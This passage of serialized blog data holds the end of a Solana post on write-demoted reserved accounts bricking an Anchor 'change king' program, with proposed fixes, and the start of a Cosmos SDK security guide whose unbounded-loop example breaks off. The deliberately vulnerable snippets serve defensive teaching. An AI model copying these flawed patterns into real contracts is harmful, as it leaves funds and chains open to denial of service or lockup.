locked\n",{"type":23,"tag":213,"props":75137,"children":75138},{"class":215,"line":524},[75139,75143,75147,75152,75156],{"type":23,"tag":213,"props":75140,"children":75141},{"style":230},[75142],{"type":28,"value":13791},{"type":23,"tag":213,"props":75144,"children":75145},{"style":274},[75146],{"type":28,"value":124},{"type":23,"tag":213,"props":75148,"children":75149},{"style":220},[75150],{"type":28,"value":75151},"reserved_account_keys ",{"type":23,"tag":213,"props":75153,"children":75154},{"style":274},[75155],{"type":28,"value":3190},{"type":23,"tag":213,"props":75157,"children":75158},{"style":220},[75159],{"type":28,"value":1375},{"type":23,"tag":213,"props":75161,"children":75162},{"class":215,"line":533},[75163,75167,75171,75176,75180,75185,75189,75193,75197,75201,75205,75209],{"type":23,"tag":213,"props":75164,"children":75165},{"style":230},[75166],{"type":28,"value":487},{"type":23,"tag":213,"props":75168,"children":75169},{"style":230},[75170],{"type":28,"value":492},{"type":23,"tag":213,"props":75172,"children":75173},{"style":268},[75174],{"type":28,"value":75175}," reserved_keys",{"type":23,"tag":213,"props":75177,"children":75178},{"style":274},[75179],{"type":28,"value":511},{"type":23,"tag":213,"props":75181,"children":75182},{"style":290},[75183],{"type":28,"value":75184}," ReservedAccountKeys",{"type":23,"tag":213,"props":75186,"children":75187},{"style":274},[75188],{"type":28,"value":562},{"type":23,"tag":213,"props":75190,"children":75191},{"style":257},[75192],{"type":28,"value":15479},{"type":23,"tag":213,"props":75194,"children":75195},{"style":220},[75196],{"type":28,"value":265},{"type":23,"tag":213,"props":75198,"children":75199},{"style":274},[75200],{"type":28,"value":405},{"type":23,"tag":213,"props":75202,"children":75203},{"style":230},[75204],{"type":28,"value":13791},{"type":23,"tag":213,"props":75206,"children":75207},{"style":274},[75208],{"type":28,"value":124},{"type":23,"tag":213,"props":75210,"children":75211},{"style":220},[75212],{"type":28,"value":75213},"reserved_account_keys);\n",{"type":23,"tag":213,"props":75215,"children":75216},{"class":215,"line":543},[75217,75222,75226,75231,75235,75239,75243,75247],{"type":23,"tag":213,"props":75218,"children":75219},{"style":268},[75220],{"type":28,"value":75221}," reserved_keys",{"type":23,"tag":213,"props":75223,"children":75224},{"style":274},[75225],{"type":28,"value":124},{"type":23,"tag":213,"props":75227,"children":75228},{"style":257},[75229],{"type":28,"value":75230},"update_active_set",{"type":23,"tag":213,"props":75232,"children":75233},{"style":220},[75234],{"type":28,"value":265},{"type":23,"tag":213,"props":75236,"children":75237},{"style":274},[75238],{"type":28,"value":405},{"type":23,"tag":213,"props":75240,"children":75241},{"style":230},[75242],{"type":28,"value":13791},{"type":23,"tag":213,"props":75244,"children":75245},{"style":274},[75246],{"type":28,"value":124},{"type":23,"tag":213,"props":75248,"children":75249},{"style":220},[75250],{"type":28,"value":75251},"feature_set);\n",{"type":23,"tag":213,"props":75253,"children":75254},{"class":215,"line":551},[75255,75260,75264,75268,75272,75277],{"type":23,"tag":213,"props":75256,"children":75257},{"style":290},[75258],{"type":28,"value":75259}," Arc",{"type":23,"tag":213,"props":75261,"children":75262},{"style":274},[75263],{"type":28,"value":562},{"type":23,"tag":213,"props":75265,"children":75266},{"style":257},[75267],{"type":28,"value":1687},{"type":23,"tag":213,"props":75269,"children":75270},{"style":220},[75271],{"type":28,"value":265},{"type":23,"tag":213,"props":75273,"children":75274},{"style":268},[75275],{"type":28,"value":75276},"reserved_keys",{"type":23,"tag":213,"props":75278,"children":75279},{"style":220},[75280],{"type":28,"value":2183},{"type":23,"tag":213,"props":75282,"children":75283},{"class":215,"line":570},[75284],{"type":23,"tag":213,"props":75285,"children":75286},{"style":220},[75287],{"type":28,"value":16629},{"type":23,"tag":18945,"props":75289,"children":75291},{"id":75290},"consequences-silent-failures-and-bricked-programs",[75292],{"type":28,"value":75293},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":75295,"children":75296},{},[75297],{"type":28,"value":75298},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":202,"props":75300,"children":75302},{"className":206,"code":75301,"language":205,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[75303],{"type":23,"tag":209,"props":75304,"children":75305},{"__ignoreMap":7},[75306,75321,75348,75363,75402,75409,75456,75487,75494,75509,75540,75547,75562,75593],{"type":23,"tag":213,"props":75307,"children":75308},{"class":215,"line":216},[75309,75313,75317],{"type":23,"tag":213,"props":75310,"children":75311},{"style":220},[75312],{"type":28,"value":22887},{"type":23,"tag":213,"props":75314,"children":75315},{"style":290},[75316],{"type":28,"value":22892},{"type":23,"tag":213,"props":75318,"children":75319},{"style":220},[75320],{"type":28,"value":20313},{"type":23,"tag":213,"props":75322,"children":75323},{"class":215,"line":226},[75324,75328,75332,75336,75340,75344],{"type":23,"tag":213,"props":75325,"children":75326},{"style":230},[75327],{"type":28,"value":233},{"type":23,"tag":213,"props":75329,"children":75330},{"style":230},[75331],{"type":28,"value":887},{"type":23,"tag":213,"props":75333,"children":75334},{"style":290},[75335],{"type":28,"value":71363},{"type":23,"tag":213,"props":75337,"children":75338},{"style":220},[75339],{"type":28,"value":358},{"type":23,"tag":213,"props":75341,"children":75342},{"style":290},[75343],{"type":28,"value":22976},{"type":23,"tag":213,"props":75345,"children":75346},{"style":220},[75347],{"type":28,"value":905},{"type":23,"tag":213,"props":75349,"children":75350},{"class":215,"line":524},[75351,75355,75359],{"type":23,"tag":213,"props":75352,"children":75353},{"style":220},[75354],{"type":28,"value":23177},{"type":23,"tag":213,"props":75356,"children":75357},{"style":230},[75358],{"type":28,"value":287},{"type":23,"tag":213,"props":75360,"children":75361},{"style":220},[75362],{"type":28,"value":20313},{"type":23,"tag":213,"props":75364,"children":75365},{"class":215,"line":533},[75366,75370,75374,75378,75382,75386,75390,75394,75398],{"type":23,"tag":213,"props":75367,"children":75368},{"style":230},[75369],{"type":28,"value":913},{"type":23,"tag":213,"props":75371,"children":75372},{"style":268},[75373],{"type":28,"value":71402},{"type":23,"tag":213,"props":75375,"children":75376},{"style":274},[75377],{"type":28,"value":277},{"type":23,"tag":213,"props":75379,"children":75380},{"style":290},[75381],{"type":28,"value":23142},{"type":23,"tag":213,"props":75383,"children":75384},{"style":220},[75385],{"type":28,"value":358},{"type":23,"tag":213,"props":75387,"children":75388},{"style":290},[75389],{"type":28,"value":22976},{"type":23,"tag":213,"props":75391,"children":75392},{"style":220},[75393],{"type":28,"value":424},{"type":23,"tag":213,"props":75395,"children":75396},{"style":290},[75397],{"type":28,"value":71427},{"type":23,"tag":213,"props":75399,"children":75400},{"style":220},[75401],{"type":28,"value":6230},{"type":23,"tag":213,"props":75403,"children":75404},{"class":215,"line":543},[75405],{"type":23,"tag":213,"props":75406,"children":75407},{"emptyLinePlaceholder":18},[75408],{"type":28,"value":530},{"type":23,"tag":213,"props":75410,"children":75411},{"class":215,"line":551},[75412,75416,75420,75424,75428,75432,75436,75440,75444,75448,75452],{"type":23,"tag":213,"props":75413,"children":75414},{"style":220},[75415],{"type":28,"value":23177},{"type":23,"tag":213,"props":75417,"children":75418},{"style":230},[75419],{"type":28,"value":287},{"type":23,"tag":213,"props":75421,"children":75422},{"style":220},[75423],{"type":28,"value":71462},{"type":23,"tag":213,"props":75425,"children":75426},{"style":274},[75427],{"type":28,"value":3190},{"type":23,"tag":213,"props":75429,"children":75430},{"style":220},[75431],{"type":28,"value":71471},{"type":23,"tag":213,"props":75433,"children":75434},{"style":274},[75435],{"type":28,"value":124},{"type":23,"tag":213,"props":75437,"children":75438},{"style":220},[75439],{"type":28,"value":71480},{"type":23,"tag":213,"props":75441,"children":75442},{"style":274},[75443],{"type":28,"value":8660},{"type":23,"tag":213,"props":75445,"children":75446},{"style":220},[75447],{"type":28,"value":71402},{"type":23,"tag":213,"props":75449,"children":75450},{"style":274},[75451],{"type":28,"value":124},{"type":23,"tag":213,"props":75453,"children":75454},{"style":220},[75455],{"type":28,"value":71497},{"type":23,"tag":213,"props":75457,"children":75458},{"class":215,"line":570},[75459,75463,75467,75471,75475,75479,75483],{"type":23,"tag":213,"props":75460,"children":75461},{"style":230},[75462],{"type":28,"value":913},{"type":23,"tag":213,"props":75464,"children":75465},{"style":268},[75466],{"type":28,"value":71471},{"type":23,"tag":213,"props":75468,"children":75469},{"style":274},[75470],{"type":28,"value":277},{"type":23,"tag":213,"props":75472,"children":75473},{"style":290},[75474],{"type":28,"value":892},{"type":23,"tag":213,"props":75476,"children":75477},{"style":220},[75478],{"type":28,"value":358},{"type":23,"tag":213,"props":75480,"children":75481},{"style":290},[75482],{"type":28,"value":22976},{"type":23,"tag":213,"props":75484,"children":75485},{"style":220},[75486],{"type":28,"value":6230},{"type":23,"tag":213,"props":75488,"children":75489},{"class":215,"line":655},[75490],{"type":23,"tag":213,"props":75491,"children":75492},{"emptyLinePlaceholder":18},[75493],{"type":28,"value":530},{"type":23,"tag":213,"props":75495,"children":75496},{"class":215,"line":1176},[75497,75501,75505],{"type":23,"tag":213,"props":75498,"children":75499},{"style":220},[75500],{"type":28,"value":23177},{"type":23,"tag":213,"props":75502,"children":75503},{"style":230},[75504],{"type":28,"value":287},{"type":23,"tag":213,"props":75506,"children":75507},{"style":220},[75508],{"type":28,"value":20313},{"type":23,"tag":213,"props":75510,"children":75511},{"class":215,"line":1202},[75512,75516,75520,75524,75528,75532,75536],{"type":23,"tag":213,"props":75513,"children":75514},{"style":230},[75515],{"type":28,"value":913},{"type":23,"tag":213,"props":75517,"children":75518},{"style":268},[75519],{"type":28,"value":71570},{"type":23,"tag":213,"props":75521,"children":75522},{"style":274},[75523],{"type":28,"value":277},{"type":23,"tag":213,"props":75525,"children":75526},{"style":290},[75527],{"type":28,"value":892},{"type":23,"tag":213,"props":75529,"children":75530},{"style":220},[75531],{"type":28,"value":358},{"type":23,"tag":213,"props":75533,"children":75534},{"style":290},[75535],{"type":28,"value":22976},{"type":23,"tag":213,"props":75537,"children":75538},{"style":220},[75539],{"type":28,"value":6230},{"type":23,"tag":213,"props":75541,"children":75542},{"class":215,"line":1758},[75543],{"type":23,"tag":213,"props":75544,"children":75545},{"emptyLinePlaceholder":18},[75546],{"type":28,"value":530},{"type":23,"tag":213,"props":75548,"children":75549},{"class":215,"line":1767},[75550,75554,75558],{"type":23,"tag":213,"props":75551,"children":75552},{"style":220},[75553],{"type":28,"value":23177},{"type":23,"tag":213,"props":75555,"children":75556},{"style":230},[75557],{"type":28,"value":287},{"type":23,"tag":213,"props":75559,"children":75560},{"style":220},[75561],{"type":28,"value":20313},{"type":23,"tag":213,"props":75563,"children":75564},{"class":215,"line":1789},[75565,75569,75573,75577,75581,75585,75589],{"type":23,"tag":213,"props":75566,"children":75567},{"style":230},[75568],{"type":28,"value":913},{"type":23,"tag":213,"props":75570,"children":75571},{"style":268},[75572],{"type":28,"value":42297},{"type":23,"tag":213,"props":75574,"children":75575},{"style":274},[75576],{"type":28,"value":277},{"type":23,"tag":213,"props":75578,"children":75579},{"style":290},[75580],{"type":28,"value":23206},{"type":23,"tag":213,"props":75582,"children":75583},{"style":220},[75584],{"type":28,"value":358},{"type":23,"tag":213,"props":75586,"children":75587},{"style":290},[75588],{"type":28,"value":22976},{"type":23,"tag":213,"props":75590,"children":75591},{"style":220},[75592],{"type":28,"value":6230},{"type":23,"tag":213,"props":75594,"children":75595},{"class":215,"line":1812},[75596],{"type":23,"tag":213,"props":75597,"children":75598},{"style":220},[75599],{"type":28,"value":1208},{"type":23,"tag":24,"props":75601,"children":75602},{},[75603,75605,75611,75613,75619],{"type":28,"value":75604},"This works fine — until one day, ",{"type":23,"tag":209,"props":75606,"children":75608},{"className":75607},[],[75609],{"type":28,"value":75610},"old_king",{"type":28,"value":75612}," is silently demoted. Suddenly, the ",{"type":23,"tag":209,"props":75614,"children":75616},{"className":75615},[],[75617],{"type":28,"value":75618},"#[account(mut)]",{"type":28,"value":75620}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":18945,"props":75622,"children":75624},{"id":75623},"real-world-example-write-demotion-with-secp256r1_program",[75625,75627],{"type":28,"value":75626},"Real-World Example: Write-Demotion with ",{"type":23,"tag":209,"props":75628,"children":75630},{"className":75629},[],[75631],{"type":28,"value":75632},"secp256r1_program",{"type":23,"tag":24,"props":75634,"children":75635},{},[75636,75638,75643],{"type":28,"value":75637},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":209,"props":75639,"children":75641},{"className":75640},[],[75642],{"type":28,"value":75632},{"type":28,"value":75644},", a precompiled program gated behind a feature flag:",{"type":23,"tag":202,"props":75646,"children":75648},{"className":206,"code":75647,"language":205,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[75649],{"type":23,"tag":209,"props":75650,"children":75651},{"__ignoreMap":7},[75652,75673,75693,75722],{"type":23,"tag":213,"props":75653,"children":75654},{"class":215,"line":216},[75655,75660,75664,75669],{"type":23,"tag":213,"props":75656,"children":75657},{"style":290},[75658],{"type":28,"value":75659},"ReservedAccount",{"type":23,"tag":213,"props":75661,"children":75662},{"style":274},[75663],{"type":28,"value":562},{"type":23,"tag":213,"props":75665,"children":75666},{"style":257},[75667],{"type":28,"value":75668},"new_pending",{"type":23,"tag":213,"props":75670,"children":75671},{"style":220},[75672],{"type":28,"value":1511},{"type":23,"tag":213,"props":75674,"children":75675},{"class":215,"line":226},[75676,75681,75685,75689],{"type":23,"tag":213,"props":75677,"children":75678},{"style":220},[75679],{"type":28,"value":75680}," secp256r1_program",{"type":23,"tag":213,"props":75682,"children":75683},{"style":274},[75684],{"type":28,"value":562},{"type":23,"tag":213,"props":75686,"children":75687},{"style":257},[75688],{"type":28,"value":1804},{"type":23,"tag":213,"props":75690,"children":75691},{"style":220},[75692],{"type":28,"value":1809},{"type":23,"tag":213,"props":75694,"children":75695},{"class":215,"line":524},[75696,75701,75705,75710,75714,75718],{"type":23,"tag":213,"props":75697,"children":75698},{"style":220},[75699],{"type":28,"value":75700}," feature_set",{"type":23,"tag":213,"props":75702,"children":75703},{"style":274},[75704],{"type":28,"value":562},{"type":23,"tag":213,"props":75706,"children":75707},{"style":220},[75708],{"type":28,"value":75709},"enable_secp256r1_precompile",{"type":23,"tag":213,"props":75711,"children":75712},{"style":274},[75713],{"type":28,"value":562},{"type":23,"tag":213,"props":75715,"children":75716},{"style":257},[75717],{"type":28,"value":1804},{"type":23,"tag":213,"props":75719,"children":75720},{"style":220},[75721],{"type":28,"value":1809},{"type":23,"tag":213,"props":75723,"children":75724},{"class":215,"line":533},[75725],{"type":23,"tag":213,"props":75726,"children":75727},{"style":220},[75728],{"type":28,"value":2183},{"type":23,"tag":24,"props":75730,"children":75731},{},[75732,75734,75739,75741,75747],{"type":28,"value":75733},"Before the ",{"type":23,"tag":209,"props":75735,"children":75737},{"className":75736},[],[75738],{"type":28,"value":75709},{"type":28,"value":75740}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":209,"props":75742,"children":75744},{"className":75743},[],[75745],{"type":28,"value":75746},"secp256r1_program::id()",{"type":28,"value":75748}," as the king in a contract.",{"type":23,"tag":24,"props":75750,"children":75751},{},[75752,75754,75759],{"type":28,"value":75753},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":209,"props":75755,"children":75757},{"className":75756},[],[75758],{"type":28,"value":75746},{"type":28,"value":75760}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":18945,"props":75762,"children":75764},{"id":75763},"fix-3-preventing-write-demotion-pitfalls",[75765],{"type":28,"value":75766},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":75768,"children":75769},{},[75770,75772,75777],{"type":28,"value":75771},"Alright, let’s try to fix this ",{"type":23,"tag":87,"props":75773,"children":75774},{},[75775],{"type":28,"value":75776},"yet another",{"type":28,"value":75778}," edge case — and hopefully close the book on it.",{"type":23,"tag":18945,"props":75780,"children":75782},{"id":75781},"attempt-1-block-known-reserved-accounts",[75783],{"type":28,"value":75784},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":75786,"children":75787},{},[75788],{"type":28,"value":75789},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":202,"props":75791,"children":75793},{"className":40418,"code":75792,"language":40420,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[75794],{"type":23,"tag":209,"props":75795,"children":75796},{"__ignoreMap":7},[75797,75805],{"type":23,"tag":213,"props":75798,"children":75799},{"class":215,"line":216},[75800],{"type":23,"tag":213,"props":75801,"children":75802},{"style":220},[75803],{"type":28,"value":75804}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":213,"props":75806,"children":75807},{"class":215,"line":226},[75808],{"type":23,"tag":213,"props":75809,"children":75810},{"style":514},[75811],{"type":28,"value":75812},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":75814,"children":75815},{},[75816,75818,75823],{"type":28,"value":75817},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":209,"props":75819,"children":75821},{"className":75820},[],[75822],{"type":28,"value":75659},{"type":28,"value":75824}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":18945,"props":75826,"children":75828},{"id":75827},"attempt-2-use-a-pda-vault",[75829],{"type":28,"value":75830},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":75832,"children":75833},{},[75834,75836,75841],{"type":28,"value":75835},"A more future-proof fix is to avoid ",{"type":23,"tag":95,"props":75837,"children":75838},{},[75839],{"type":28,"value":75840},"transferring lamports to arbitrary accounts",{"type":28,"value":75842}," altogether.",{"type":23,"tag":24,"props":75844,"children":75845},{},[75846],{"type":28,"value":75847},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":47,"props":75849,"children":75851},{"id":75850},"final-thoughts",[75852],{"type":28,"value":75853},"Final Thoughts",{"type":23,"tag":24,"props":75855,"children":75856},{},[75857],{"type":28,"value":75858},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":75860,"children":75861},{},[75862],{"type":28,"value":75863},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":168,"props":75865,"children":75866},{},[75867,75872,75877],{"type":23,"tag":135,"props":75868,"children":75869},{},[75870],{"type":28,"value":75871},"It's not executable.",{"type":23,"tag":135,"props":75873,"children":75874},{},[75875],{"type":28,"value":75876},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":135,"props":75878,"children":75879},{},[75880],{"type":28,"value":75881},"It's not a reserved account.",{"type":23,"tag":24,"props":75883,"children":75884},{},[75885],{"type":28,"value":75886},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":2957,"props":75888,"children":75889},{},[75890],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":75892},[75893,75894,75895,75901],{"id":29072,"depth":226,"text":29075},{"id":71277,"depth":226,"text":71280},{"id":72384,"depth":226,"text":72387,"children":75896},[75897,75898,75900],{"id":72390,"depth":524,"text":72393},{"id":73077,"depth":524,"text":75899},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":74381,"depth":524,"text":74384},{"id":75850,"depth":226,"text":75853},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75907,"description":75908,"date":75909,"author":75910,"image":75911,"isFeatured":18,"onBlogPage":18,"tags":75913,"body":75916,"_type":2967,"_id":89801,"_source":2969,"_file":89802,"_stem":89803,"_extension":2972},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75912,"width":13703,"height":13703},"/posts/cosmos-security/title.png",[75914,75915],"cosmos-sdk","security",{"type":20,"children":75917,"toc":89779},[75918,75922,75927,75932,75938,75943,75948,75953,76214,76703,76722,76727,76732,76737,76743,76748,76783,76793,77300,77320,77333,77339,77344,77349,77590,77595,77603,77615,77977,77982,77987,78023,78032,78458,78479,78485,78505,78526,78545,78577,78589,78601,79255,79283,79292,79732,79759,79779,79784,79805,79854,79863,81095,81123,81129,81134,81139,81159,81446,81480,81661,81666,81671,81715,81724,82916,83167,83180,83186,83220,83225,83288,83293,83313,83332,83344,83363,84055,84060,84065,84093,84102,84987,85014,85020,85040,85045,85058,85232,85245,85336,85341,85349,85359,85509,85514,85534,85542,85547,85945,85957,85962,86003,86014,86034,86342,86347,87272,87284,87292,87297,88290,88295,88307,88327,88346,89260,89317,89423,89435,89440,89445,89473,89482,89708,89734,89747,89761,89765,89770,89775],{"type":23,"tag":47,"props":75919,"children":75920},{"id":29072},[75921],{"type":28,"value":29075},{"type":23,"tag":24,"props":75923,"children":75924},{},[75925],{"type":28,"value":75926},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":75928,"children":75929},{},[75930],{"type":28,"value":75931},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":47,"props":75933,"children":75935},{"id":75934},"its-loopin-time",[75936],{"type":28,"value":75937},"It's Loopin' Time",{"type":23,"tag":24,"props":75939,"children":75940},{},[75941],{"type":28,"value":75942},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":75944,"children":75945},{},[75946],{"type":28,"value":75947},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":75949,"children":75950},{},[75951],{"type":28,"value":75952},"Here is a simple example for reference:",{"type":23,"tag":202,"props":75954,"children":75956},{"code":75955,"language":4569,"meta":7,"className":4570,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[75957],{"type":23,"tag":209,"props":75958,"children":75959},{"__ignoreMap":7},[75960,75976,75993,76009,76031,76060,76081,76105,76126,76133,76154,76171,76188,76195,76207],{"type":23,"tag":213,"props":75961,"children":75962},{"class":215,"line":216},[75963,75967,75972],{"type":23,"tag":213,"props":75964,"children":75965},{"style":230},[75966],{"type":28,"value":31433},{"type":23,"tag":213,"props":75968,"children":75969},{"style":257},[75970],{"type":28,"value":75971}," sumWithStride",{"type":23,"tag":213,"props":75973,"children":75974},{"style":220},[75975],{"type":28,"value":1511},{"type":23,"tag":213,"props":75977,"children":75978},{"class":215,"line":226},[75979,75984,75989],{"type":23,"tag":213,"props":75980,"children":75981},{"style":290},[75982],{"type":28,"value":75983}," uint64",{"type":23,"tag":213,"props":75985,"children":75986},{"style":268},[75987],{"type":28,"value":75988}," start",{"type":23,"tag":213,"props":75990,"children":75991},{"style":220},[75992],{"type":28,"value":944},{"type":23,"tag":213,"props":75994,"children":75995},{"class":215,"line":524},[75996,76000,76005],{"type":23,"tag":213,"props":75997,"children":75998},{"style":290},[75999],{"type":28,"value":75983},{"type":23,"tag":213,"props":76001,"children":76002},{"style":268},[76003],{"type":28,"value":76004}," stride",{"type":23,"tag":213,"props":76006,"children":76007},{"style":220},[76008],{"type":28,"value":944},{"type":23,"tag":213,"props":76010,"children":76011},{"class":215,"line":533},[76012,76016,76021,76026],{"type":23,"tag":213,"props":76013,"children":76014},{"style":290},[76015],{"type":28,"value":75983},{"type":23,"tag":213,"props":76017,"children":76018},{"style":220},[76019],{"type":28,"value":76020},"[] ",{"type":23,"tag":213,"props":76022,"children":76023},{"style":230},[76024],{"type":28,"value":76025},"memory",{"type":23,"tag":213,"props":76027,"children":76028},{"style":268},[76029],{"type":28,"value":76030}," arr\n",{"type":23,"tag":213,"props":76032,"children":76033},{"class":215,"line":543},[76034,76038,76042,76047,76051,76056],{"type":23,"tag":213,"props":76035,"children":76036},{"style":220},[76037],{"type":28,"value":298},{"type":23,"tag":213,"props":76039,"children":76040},{"style":230},[76041],{"type":28,"value":61729},{"type":23,"tag":213,"props":76043,"children":76044},{"style":1362},[76045],{"type":28,"value":76046}," returns",{"type":23,"tag":213,"props":76048,"children":76049},{"style":220},[76050],{"type":28,"value":400},{"type":23,"tag":213,"props":76052,"children":76053},{"style":290},[76054],{"type":28,"value":76055},"uint64",{"type":23,"tag":213,"props":76057,"children":76058},{"style":220},[76059],{"type":28,"value":14870},{"type":23,"tag":213,"props":76061,"children":76062},{"class":215,"line":551},[76063,76067,76072,76076],{"type":23,"tag":213,"props":76064,"children":76065},{"style":290},[76066],{"type":28,"value":75983},{"type":23,"tag":213,"props":76068,"children":76069},{"style":220},[76070],{"type":28,"value":76071}," idx ",{"type":23,"tag":213,"props":76073,"children":76074},{"style":274},[76075],{"type":28,"value":3190},{"type":23,"tag":213,"props":76077,"children":76078},{"style":220},[76079],{"type":28,"value":76080}," start;\n",{"type":23,"tag":213,"props":76082,"children":76083},{"class":215,"line":570},[76084,76088,76093,76097,76101],{"type":23,"tag":213,"props":76085,"children":76086},{"style":290},[76087],{"type":28,"value":75983},{"type":23,"tag":213,"props":76089,"children":76090},{"style":220},[76091],{"type":28,"value":76092}," sum ",{"type":23,"tag":213,"props":76094,"children":76095},{"style":274},[76096],{"type":28,"value":3190},{"type":23,"tag":213,"props":76098,"children":76099},{"style":514},[76100],{"type":28,"value":517},{"type":23,"tag":213,"props":76102,"children":76103},{"style":220},[76104],{"type":28,"value":313},{"type":23,"tag":213,"props":76106,"children":76107},{"class":215,"line":655},[76108,76112,76117,76121],{"type":23,"tag":213,"props":76109,"children":76110},{"style":290},[76111],{"type":28,"value":75983},{"type":23,"tag":213,"props":76113,"children":76114},{"style":220},[76115],{"type":28,"value":76116}," end ",{"type":23,"tag":213,"props":76118,"children":76119},{"style":274},[76120],{"type":28,"value":3190},{"type":23,"tag":213,"props":76122,"children":76123},{"style":220},[76124],{"type":28,"value":76125}," arr.length;\n",{"type":23,"tag":213,"props":76127,"children":76128},{"class":215,"line":1176},[76129],{"type":23,"tag":213,"props":76130,"children":76131},{"emptyLinePlaceholder":18},[76132],{"type":28,"value":530},{"type":23,"tag":213,"props":76134,"children":76135},{"class":215,"line":1202},[76136,76140,76145,76149],{"type":23,"tag":213,"props":76137,"children":76138},{"style":1362},[76139],{"type":28,"value":64427},{"type":23,"tag":213,"props":76141,"children":76142},{"style":220},[76143],{"type":28,"value":76144}," (idx ",{"type":23,"tag":213,"props":76146,"children":76147},{"style":274},[76148],{"type":28,"value":434},{"type":23,"tag":213,"props":76150,"children":76151},{"style":220},[76152],{"type":28,"value":76153}," end) {\n",{"type":23,"tag":213,"props":76155,"children":76156},{"class":215,"line":1758},[76157,76162,76166],{"type":23,"tag":213,"props":76158,"children":76159},{"style":220},[76160],{"type":28,"value":76161}," sum ",{"type":23,"tag":213,"props":76163,"children":76164},{"style":274},[76165],{"type":28,"value":68490},{"type":23,"tag":213,"props":76167,"children":76168},{"style":220},[76169],{"type":28,"value":76170}," arr[idx];\n",{"type":23,"tag":213,"props":76172,"children":76173},{"class":215,"line":1767},[76174,76179,76183],{"type":23,"tag":213,"props":76175,"children":76176},{"style":220},[76177],{"type":28,"value":76178}," idx ",{"type":23,"tag":213,"props":76180,"children":76181},{"style":274},[76182],{"type":28,"value":68490},{"type":23,"tag":213,"props":76184,"children":76185},{"style":220},[76186],{"type":28,"value":76187}," stride;\n",{"type":23,"tag":213,"props":76189,"children":76190},{"class":215,"line":1789},[76191],{"type":23,"tag":213,"props":76192,"children":76193},{"style":220},[76194],{"type":28,"value":2875},{"type":23,"tag":213,"props":76196,"children":76197},{"class":215,"line":1812},[76198,76202],{"type":23,"tag":213,"props":76199,"children":76200},{"style":1362},[76201],{"type":28,"value":17040},{"type":23,"tag":213,"props":76203,"children":76204},{"style":220},[76205],{"type":28,"value":76206}," sum;\n",{"type":23,"tag":213,"props":76208,"children":76209},{"class":215,"line":1838},[76210],{"type":23,"tag":213,"props":76211,"children":76212},{"style":220},[76213],{"type":28,"value":1208},{"type":23,"tag":202,"props":76215,"children":76219},{"code":76216,"language":76217,"meta":7,"className":76218,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) 